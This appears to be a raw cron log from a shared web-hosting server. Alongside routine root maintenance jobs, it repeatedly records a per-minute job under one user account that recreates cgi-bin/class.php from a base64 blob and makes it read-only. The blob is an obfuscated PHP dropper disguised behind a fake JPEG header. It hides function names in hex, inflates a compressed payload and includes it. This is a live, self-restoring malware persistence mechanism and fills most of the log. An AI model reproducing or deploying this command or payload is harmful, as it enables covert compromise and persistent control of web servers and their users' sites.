Aug 30 10:29:01 server CROND[2568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:29:01 server CROND[2569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:29:01 server CROND[2570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:30:01 server CROND[3088]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 10:30:01 server CROND[3089]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 10:30:01 server CROND[3091]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:30:01 server CROND[3093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:30:01 server CROND[3097]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 10:30:01 server CROND[3096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:30:01 server CROND[3099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:30:01 server CROND[3098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:31:01 server CROND[3940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:31:01 server CROND[3941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:31:01 server CROND[3942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:32:01 server CROND[4325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:32:01 server CROND[4326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:32:01 server CROND[4327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:33:01 server CROND[4711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:33:01 server CROND[4712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:33:01 server CROND[4713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:34:01 server CROND[5109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:34:01 server CROND[5110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:34:01 server CROND[5111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:35:01 server CROND[5603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:35:01 server CROND[5605]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 10:35:01 server CROND[5606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:35:01 server CROND[5608]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 10:35:01 server CROND[5609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:35:01 server CROND[5623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:35:01 server CROND[5622]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 10:35:01 server CROND[5626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:35:01 server CROND[5625]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 10:36:01 server CROND[6487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:36:01 server CROND[6488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:36:01 server CROND[6489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:37:01 server CROND[6875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:37:01 server CROND[6877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:37:01 server CROND[6876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:38:01 server CROND[7723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:38:01 server CROND[7724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:38:01 server CROND[7725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:39:01 server CROND[8113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:39:01 server CROND[8114]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 10:39:01 server CROND[8115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:39:01 server CROND[8116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:40:01 server CROND[8616]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 10:40:01 server CROND[8617]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:40:01 server CROND[8619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:40:01 server CROND[8620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:40:01 server CROND[8621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
